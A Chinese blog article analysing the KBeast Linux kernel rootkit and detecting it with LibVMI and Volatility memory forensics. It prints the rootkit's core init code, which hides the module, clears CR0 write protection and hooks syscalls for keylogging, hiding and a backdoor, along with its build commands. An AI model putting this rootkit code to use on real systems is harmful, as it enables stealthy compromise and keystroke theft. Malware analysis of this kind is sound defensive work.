内核层恶意代码KBeast分析与检测

作者:Diting0x


CSysSec注: 本文来自Diting0x个人博客,该文深入分析了KBeast的原理以及源代码,并给出了检测KBeast实验方法,KBeast是学习内核层恶意代码不错的样本。
转载本文请务必注明,文章出处:《内核层恶意代码KBeast分析与检测》与作者信息:Diting0x


  • 0x01 全文环境
  • 0X02 Kbeast 特性
  • 0X03 系统调用劫持基础
  • 0X04 Kbeast 使用
  • 0X05 Kbeast 核心
  • 0X06 Libvmi and Volatility检测KBeast

0x01 全文环境

Host Ubuntu 12.04 + Guest Ubuntu 10.04/11.04 + Libvmi + Volatility

其中Kbeast运行在Guest Ubuntu 10.04/11.04中,libvmi与volatility运行在Host Ubuntu12.04中。

0X02 Kbeast 特性

以下是Kbeast实现的功能:

  • 隐藏可加载模块(LKM)
  • 隐藏文件/目录
  • 隐藏进程(ps,pstree,top,lsof)
  • 隐藏套接字和网络连接(netstat,lsof)
  • 记录键盘操作捕获用户行为
  • 反杀死进程
  • 反移除文件
  • 反删除可加载模块
  • root提权后门
  • 远程绑定后门

0X03 系统调用劫持基础

上述的Kbeast特性都是通过系统调用劫持实现的。在kernel 2.6.*之前,系统调用表”sys_call_table”是可以直接导出引用的,如:

extern void *sys_call_table[];
sys_call_table[__NR_syscall] = pointer

而在kernel 2.6.* 之后禁用了这种特性,并且其所在页是写保护的。然而,系统调用表依然在内存中,如果知道其所在内存地址,依然可以通过指针访问。内核中的符号表System.map (一般在/boot/目录下)记录了所有的符号及其地址,当然也包括系统调用表”sys_call_table”. 以Ubuntu 10.04为例,执行:

grep sys_call_table /boot/System.map-2.6.32-21-generic

显示的结果为

c0592150 R sys_call_table

c0592150指的是线性地址,R说明此地址所在的页面Read-only。目前的CPU都会将CR0控制寄存器的第16位(wp-bit)置1,将页面开启保护模式,这时CPU处于”write-proteed”模式,否则处于”read/write”模式。CR0寄存器的位描述可参考CR0.

如果能将WP位置0,就可以访问内存页面,读写系统调用表了。 下面这行代码便可实现此功能:

write_cr0 (read_cr0 () & (~ 0x10000));

0X04 Kbeast 使用

下载Kbeast.

tar xzf ipsecs-kbeast-v1.tar.gz
cd kbeast-v1
./setup build 1  

具体可参考/kbeast-v1/setup 文件,参数1表示默认为kernel 2.6.32。测试过ubuntu11.04 内核为2.6.38,setup出错,作者声称:
Be kind to note that the beast has been tested in, but not limited to, kernel 2.6.9,
2.6.16, 2.6.18, 2.6.32, 2.6.35 (i386 or x86_64),理论上只要修改setup相关参数以及ipsecs-kbeast-vl.c文件中的系统调用表的地址即可适应其它版本内核,未测试。

成功编译后,kbeast就会加载到内核空间,rootkit安装在/usr/h4x路径下,生成/usr/h4x/_h4x_bd进程,以及acctlog 记录文件, 路径以及文件名等参数可以在config.h文件中配置。当然在目标机器guest中无法找到相关文件,因为已经被隐藏了。下文会利用volatility检测到相关进程的路径。

0X05 Kbeast 核心

Kbeast以LKM的方式存在,以下是其核心代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
/*init module insmod*/
static int init(void)
{
//Uncomment to hide this module
list_del_init(&__this_module.list);
struct tcp_seq_afinfo *my_afinfo = NULL;
//proc_net is disappeared in 2.6.32, use init_net.proc_net
struct proc_dir_entry *my_dir_entry = init_net.proc_net->subdir;
write_cr0 (read_cr0 () & (~ 0x10000));
if(_KEYLOG_){
o_read=(void *)sys_call_table[__NR_read];
sys_call_table[__NR_read]=h4x_read;
}
o_write=(void *)sys_call_table[__NR_write];
sys_call_table[__NR_write]=h4x_write;
#if defined(__x86_64__)
o_getdents=sys_call_table [__NR_getdents];
sys_call_table [__NR_getdents]=h4x_getdents;
#elif defined(__i386__)
o_getdents64=sys_call_table [__NR_getdents64];
sys_call_table [__NR_getdents64]=h4x_getdents64;
#else
#error Unsupported architecture
#endif
o_unlink = sys_call_table [__NR_unlink];
sys_call_table [__NR_unlink] = h4x_unlink;
o_rmdir = sys_call_table [__NR_rmdir];
sys_call_table [__NR_rmdir] = h4x_rmdir;
o_unlinkat = sys_call_table [__NR_unlinkat];
sys_call_table [__NR_unlinkat] = h4x_unlinkat;
o_rename = sys_call_table [__NR_rename];
sys_call_table [__NR_rename] = h4x_rename;
o_open = sys_call_table [__NR_open];
sys_call_table [__NR_open] = h4x_open;
o_kill = sys_call_table [__NR_kill];
sys_call_table [__NR_kill] = h4x_kill;
o_delete_module = sys_call_table [__NR_delete_module];
sys_call_table [__NR_delete_module] = h4x_delete_module;
write_cr0 (read_cr0 () | 0x10000);
while(strcmp(my_dir_entry->name, "tcp"))
my_dir_entry = my_dir_entry->next;
if((my_afinfo = (struct tcp_seq_afinfo*)my_dir_entry->data))
{
//seq_show is disappeared in 2.6.32, use seq_ops.show
old_tcp4_seq_show = my_afinfo->seq_ops.show;
my_afinfo->seq_ops.show = h4x_tcp4_seq_show;
}
return 0;
}

首先将模块隐藏,取消CR0写保护,找到系统调用表地址,将其处理函数换成自己的函数,分别对应其中的特性。 如:

1
2
3
4
5
6
7
8
9
10
sys_call_table[__NR_read]=h4x_read; // log key
sys_call_table[__NR_write]=h4x_write; // fake output ps,pstree,top,lsof
sys_call_table [__NR_getdents]=h4x_getdents; //hide file and directory
sys_call_table [__NR_unlink] = h4x_unlink; //Don't allow your file to be removed
sys_call_table [__NR_rmdir] = h4x_rmdir; //Don't allow your directory to be removed
sys_call_table [__NR_unlinkat] = h4x_unlinkat; //Don't allow your file and directory to be removed
sys_call_table [__NR_rename] = h4x_rename; //Don't allow your file to be renamed/moved
sys_call_table [__NR_open] = h4x_open; //Don't allow your file to be overwrited
sys_call_table [__NR_kill] = h4x_kill; //Don't allow your process to be killed
sys_call_table [__NR_delete_module] = h4x_delete_module;

0X06 Libvmi and Volatility检测KBeast

检测之前,先按照 这篇 文章搭好环境。

以下是分别利用volatility的linux_psaux、linux_pslist、linux_pstree、linux_lsof、linux_proc_maps、linux_check_modules插件检测出来的结果,能检测出其隐藏的进程、模块、进程间的关系以及所在路径。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
python vol.py -l vmi://1004desktop32 --profile=Linuxubuntu1004desktopx86 linux_psaux | grep _h4x_bd
Pid Uid Gid Arguments
2316 2 2 ./_h4x_bd
python vol.py -l vmi://1004desktop32 --profile=Linuxubuntu1004desktopx86 linux_pslist | grep _h4x_bd
Offset Name Pid Uid Gid DTB Start Time
0xf579e680 _h4x_bd 2316 2 2 0x357c5000 2016-04-01 21:41:29 UTC+0000
python vol.py -l vmi://1004desktop32 --profile=Linuxubuntu1004desktopx86 linux_pstree | grep _h4x_bd
Name Pid Uid
._h4x_bd 2316 2
python vol.py -l vmi://1004desktop32 --profile=Linuxubuntu1004desktopx86 linux_pslsof | grep _h4x_bd
Offset Name Pid FD Path
0x00000000f579e680 _h4x_bd 2316 1 /dev/pts/0
0x00000000f579e680 _h4x_bd 2316 2 /dev/pts/0
0x00000000f579e680 _h4x_bd 2316 3 socket:[11708]
python vol.py -l vmi://1004desktop32 --profile=Linuxubuntu1004desktopx86 linux_proc_maps | grep _h4x_bd
linux_proc_maps
Offset Pid Name Start End
Flags Pgoff Major Minor Inode File Path
0x00000000f579e680 2316 _h4x_bd 0x0000000000adb000 0x0000000000adc000 --- 0x153000 251 1 134375 /lib/tls/i686/cmov/libc-2.11.1.so
0x00000000f579e680 2316 _h4x_bd 0x0000000000adc000 0x0000000000ade000 r-- 0x153000 251 1 134375 /lib/tls/i686/cmov/libc-2.11.1.so
0x00000000f579e680 2316 _h4x_bd 0x0000000000ade000 0x0000000000adf000 rw- 0x155000 251 1 134375 /lib/tls/i686/cmov/libc-2.11.1.so
0x00000000f579e680 2316 _h4x_bd 0x0000000000adf000 0x0000000000ae2000 rw- 0x0 0 0 0
0x00000000f579e680 2316 _h4x_bd 0x0000000008048000 0x0000000008049000 r-x 0x0 251 1 136169 /usr/_h4x_/_h4x_bd
0x00000000f579e680 2316 _h4x_bd 0x0000000008049000 0x000000000804a000 r-- 0x1000 251 1 136169 /usr/_h4x_/_h4x_bd
0x00000000f579e680 2316 _h4x_bd 0x000000000804a000 0x000000000804b000 rw- 0x2000 251 1 136169 /usr/_h4x_/_h4x_bd
0x00000000f579e680 2316 _h4x_bd 0x00000000b7875000 0x00000000b7876000 rw- 0x0 0 0 0
0x00000000f579e680 2316 _h4x_bd 0x00000000b7884000 0x00000000b7886000 rw- 0x0 0 0 0
0x00000000f579e680 2316 _h4x_bd 0x00000000bfd84000 0x00000000bfd99000 rw- 0x0 0 0 0 [stack]
python vol.py -l vmi://1004desktop32 --profile=Linuxubuntu1004desktopx86 linux_check_moudles | grep _h4x_bd
Module Address Module Name
0xf805dae0 ipsecs_kbeast_v1

当要清除module时,执行./setup clean. 但仍然会残留一些文件,无法删除。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Checking for make : /usr/bin/make
Removing Kernel Module
Removing Compiled Kernel Module
Stoping Network Daemon
Removing Backdoor File
rm: cannot remove `./_h4x_bd': Permission denied
Removing Installation Directory
rm: cannot remove `/usr/_h4x_/.ipsecs-kbeast-v1.o.cmd': Permission denied
rm: cannot remove `/usr/_h4x_/ipsecs-kbeast-v1.o': Permission denied
rm: cannot remove `/usr/_h4x_/.ipsecs-kbeast-v1.ko.cmd': Permission denied
rm: cannot remove `/usr/_h4x_/ipsecs-kbeast-v1.ko': Permission denied
rm: cannot remove `/usr/_h4x_/.tmp_versions/ipsecs-kbeast-v1.mod': Permission denied
rm: cannot remove `/usr/_h4x_/ipsecs-kbeast-v1.mod.c': Permission denied
rm: cannot remove `/usr/_h4x_/.ipsecs-kbeast-v1.mod.o.cmd': Permission denied
rm: cannot remove `/usr/_h4x_/ipsecs-kbeast-v1.c': Permission denied
rm: cannot remove `/usr/_h4x_/bd-ipsecs-kbeast-v1.c': Permission denied
rm: cannot remove `/usr/_h4x_/ipsecs-kbeast-v1.mod.o': Permission denied
rm: cannot remove `/usr/_h4x_/ipsecs-kbeast-v1.cc1': Permission denied

Reference

http://volatility-labs.blogspot.com/2012/09/movp-15-kbeast-rootkit-detecting-hidden.html

http://cradpdf.drdc-rddc.gc.ca/PDFS/unc199/p801869_A1b.pdf

https://memset.wordpress.com/2010/12/03/syscall-hijacking-kernel-2-6-systems/

http://dddotcom.github.io/2015/01/10/Kbeast-Source-Code-Analysis/

http://beneathclevel.blogspot.com/2013/06/a-linux-rootkit-tutorial-introduction.html


转载本文请务必注明,文章出处:《内核层恶意代码KBeast分析与检测》与作者信息:Diting0x